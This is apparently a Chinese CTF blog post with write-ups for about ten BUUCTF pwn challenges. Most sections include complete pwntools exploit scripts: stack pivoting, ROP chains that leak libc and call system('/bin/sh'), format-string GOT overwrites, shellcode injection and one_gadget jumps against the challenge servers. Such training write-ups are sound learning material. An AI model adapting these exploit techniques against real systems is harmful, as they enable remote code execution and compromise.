0%

buu每日一题(3)

0ctf_2017_babyheap

单独写了篇文章,方法是fastbin attack

wustctf2020_closed

常用文件描述符

  • stdin:0
  • stdout:1
  • stderr:2

程序流程

关闭了输出流和错误流,然后直接给了shell,但是没有输出。

image-20210430210044168

方法:

stdout重定向

简单来说,既然stdout的文件描述符不可用,可以对stdout重定向,将文件描述符 stdout(1)重定向到可用文件描述符 stdin(0)

1
exec 1>&0

actf_2019_babystack

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec ACTF_2019_babystack
[*] '/home/winter/buu/ACTF_2019_babystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

actf_2019_babystack

吐了,,,思路一样,不对

程序流程

最多可以输入0xe0个字节,但是s在rbp-0xd0。

故最多可以溢出rbp和返回地址,所以需要栈迁移。

程序给了栈地址,直接在栈上布置即可。

  • rbp:fake stack

  • ret:leave_ret

image-20210501162717088

完整exp

自己不知道哪里错了,,,直接用师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

#context.log_level = 'debug'

io = remote('node3.buuoj.cn',29408)
#io = process('./ACTF_2019_babystack')
#io = process('./idaidg/linux_server64')
elf = ELF('./ACTF_2019_babystack')

libc = ELF('./libc-2.27.so')

pop_rdi = 0x400ad3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = 0x4008f6
leave = 0x400a18
ret = 0x400a4f

io.recvuntil("How many bytes of your message?")
io.sendline('224')

io.recvuntil("Your message will be saved at ")
addr = io.recv()[:14]
addr = int(addr,16)
print hex(addr)

payload = 'a'* 8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start)
payload = payload.ljust(0xd0,'a')
payload += p64(addr)
payload += p64(leave)

io.send(payload)
puts_addr = io.recvuntil('\x7f')[-6:]
puts_addr = puts_addr.ljust(8,'\x00')
print hex(u64(puts_addr))
libcbase = u64(puts_addr) - libc.symbols['puts']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()

io.recvuntil("How many bytes of your message?")
io.sendline('224')
io.recvuntil("Your message will be saved at ")
addr = io.recv()[:14]
addr = int(addr,16)
print hex(addr)

payload = 'a'* 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload = payload.ljust(0xd0,'a')
payload += p64(addr)
payload += p64(leave)

io.sendline(payload)

io.interactive()

picoctf_2018_shellcode

最简单的ret2shellcode题,把shellcode发过去就行。。。

难点

唯一的难点应该在于main函数不能反汇编,得看汇编。

image-20210501164740595

image-20210501164752604

vuln函数就是输入再打印。

所以,程序流程就是输入数据,并且会直接改数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

io = remote('node3.buuoj.cn',29061)
elf = ELF('./PicoCTF_2018_shellcode')
libc = ELF('./libc-2.27.so')

payload = asm(shellcraft.sh())
io.sendline(payload)

io.interactive()

picoctf_2018_got_shell

程序流程

能给任意地址写入四个字节数据,32位。

而且给了后门函数,直接修改puts的got表位win的地址即可。

注意一点:发送数据应该发送的是整数,也就是hex(),而不是p32(),它是字符。

image-20210419145953699

image-20210419150030225

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process("./PicoCTF_2018_got-shell")
p=remote("node3.buuoj.cn",25946)
elf = ELF("./PicoCTF_2018_got-shell")

puts_got = elf.got['puts']
win = elf.symbols['win']

p.recvuntil("value?")
p.sendline(hex(puts_got))

p.recvuntil("like")
p.sendline(hex(win))

p.interactive()

mrctf2020_easy_equation

一道格式化字符串,,,,不知道为什么用pwntools工具不好使,,,

程序流程

image-20210501231211604

输入字符串,格式化字符串

一个判断,满足判断即可获得shell

1
2
3
for judge in range(200):
if( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198):
print judge
1
2
winter@ubuntu:~/buu$ python equation.py 
2

故只要judge为2即可。

漏洞利用

利用格式化字符串将judge的值变为2即可。

方法:

1
"bb%9$naaa"+p64(judge)

8不是9

8

只发送了0xf个字节,到1的时候就没了,,,后门的并没有发送过去。。

1
2
3
4
5
"bb%8$n"+p64(judge)	=>	将%8$n之前的字节数,也就是2,写入到offse=8的位置,也就是%8$n后面的judge

[DEBUG] Sent 0xf bytes:
00000000 62 62 25 38 24 6e 5c 10 60 00 00 00 00 00 0a │bb%8│$n\·│`···│···│
0000000f

9

发送了12个字节,都发送过去了。

1
2
3
4
5
"bb%9$naaa"+p64(judge)	=>	将%9$n之前的字节数,也就是2,写入到offse=9的位置,因为偏移为8,而judge前面刚好9个字节,一开始就少一个,所以offset=9的位置刚好在前面九个字符之后。

[DEBUG] Sent 0x12 bytes:
00000000 62 62 25 39 24 6e 61 61 61 5c 10 60 00 00 00 00 │bb%9│$naa│a\·`│····│
00000010 00 0a

emmm,字节对齐?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# for judge in range(200):
# if( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198):
# print judge
from pwn import *

# p = process("./wdb_2018_2nd_easyfmt")
p=process("./mrctf2020_easy_equation")
p=remote("node3.buuoj.cn",28245)
context.log_level = 'debug'
context.arch = 'amd64'

judge = 0x60105C
offset = 7
# payload = fmtstr_payload(offset,{judge:2})
payload = "bb%9$naaa"+p64(judge)
# gdb.attach(p)
p.sendline(payload)
p.interactive()

picoctf_2018_can_you_gets_me

静态文件,用ropchain就行,类似于这道题

1
2
3
4
5
6
7
8
9
10
winter@ubuntu:~/buu$ file PicoCTF_2018_can-you-gets-me 
PicoCTF_2018_can-you-gets-me: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped

winter@ubuntu:~/buu$ checksec PicoCTF_2018_can-you-gets-me
[*] '/home/winter/buu/PicoCTF_2018_can-you-gets-me'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

image-20210506151027760

栈溢出,18个字节

1
ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack

# io = process("./PicoCTF_2018_can-you-gets-me")
io = remote("node3.buuoj.cn",26005)
context.log_level = 'debug'
# Padding goes here
p = ''

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

payload = 'a'*(0x18 + 4)+p
io.sendline(payload)
io.interactive()

inndy_echo

格式化字符串

程序流程

有一个循环,格式化字符串漏洞,多次利用

程序中调用了system函数

image-20210506152600364

漏洞利用

  1. 利用格式化字符串修改printf的got为system函数的plt表
  2. 发送‘/bin/sh’即可。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = process("./echo")
# p=process(['./wdb_2018_2nd_easyfmt'],env={"LD_PRELOAD":"/home/winter/buu/libc-2.23-32.so"})
p=remote("node3.buuoj.cn",26073)
context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./echo")

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
system_plt = elf.plt['system']
system_got = elf.got['system']

offset = 7
payload = fmtstr_payload(offset,{printf_got:system_plt})
p.sendline(payload)
sleep(0.1)
p.sendline('/bin/sh\x00')
p.interactive()

suctf_2018_basic pwn

最简单的栈溢出

偏移量为0x110

image-20210506154310332

后门函数:/bin/cat

执行该函数能直接打印flag

image-20210506154404324

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
io = remote('node3.buuoj.cn',29307)
elf = ELF('./SUCTF_2018_basic_pwn')
# io = process("./SUCTF_2018_basic_pwn")
libc = ELF('./libc-2.27.so')
door = 0x0000401157

payload = 'a'*(0x110+8)+p64(door)
io.sendline(payload)

io.interactive()

oneshot_tjctf_2016

程序流程是:可以泄漏一个地址,然后可以跳到任意一个地址

image-20210506155959849

方法:泄漏puts的got表地址,计算libc地址,然后跳到one_gadget即可。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# p=process("./oneshot_tjctf_2016")
p=remote("node3.buuoj.cn",27763)
elf=ELF("./oneshot_tjctf_2016")
libc = ELF("./libc-2.23.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
context.arch = 'amd64'

puts_got = elf.got['puts']
p.recvuntil("Read location?")
p.sendline(str(puts_got))
p.recvuntil("Value: 0x")
puts_addr = int(p.recv(16).strip(),16)
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
# onegadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
p.recvuntil("Jump location?")
p.sendline(str(onegadget[0]+libc_base))

p.interactive()

cmcc_pwnme1

栈溢出

image-20210506161229152

有后门函数

image-20210506161244074

故得exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# p=process("./pwnme1")
p=remote("node3.buuoj.cn",25575)
elf=ELF("./oneshot_tjctf_2016")
# libc = ELF("./libc-2.23.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
context.arch = 'i386'

get_flag = 0x08048677
p.recvuntil(">> 6. Exit ")
p.sendline(str(5))
p.recvuntil("fruit:")
payload = 'a'*(0xa4+4)+p32(get_flag)
p.sendline(payload)
p.interactive()

image-20210506161308542

但是环境原因,flag在/home/ctf下面的flag或者flag.txt,所以没有拿到flag

常规做法

  1. 泄漏libc地址
  2. 找到system和binsh
  3. 栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

# p=process("./pwnme1")
p=remote("node3.buuoj.cn",25575)
elf=ELF("./pwnme1")
libc = ELF("./libc-2.23-32.so")
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
context.arch = 'i386'

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
get_fruit = 0x08048624

get_flag = 0x08048677
p.recvuntil(">> 6. Exit ")
p.sendline(str(5))
p.recvuntil("fruit:")
payload = 'a'*(0xa4+4)+p32(puts_plt)+p32(get_fruit)+p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil("\xf7")[-4:])
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()
log.success(hex(system))
log.success(hex(binsh))
# gdb.attach(p)
# pause()

p.recvuntil("fruit:")
payload = 'a'*(0xa4+4)+p32(system)+p32(get_fruit)+p32(binsh)
p.sendline(payload)


p.interactive()
Q:如果阅读本文需要付费,你是否愿意为此支付1元?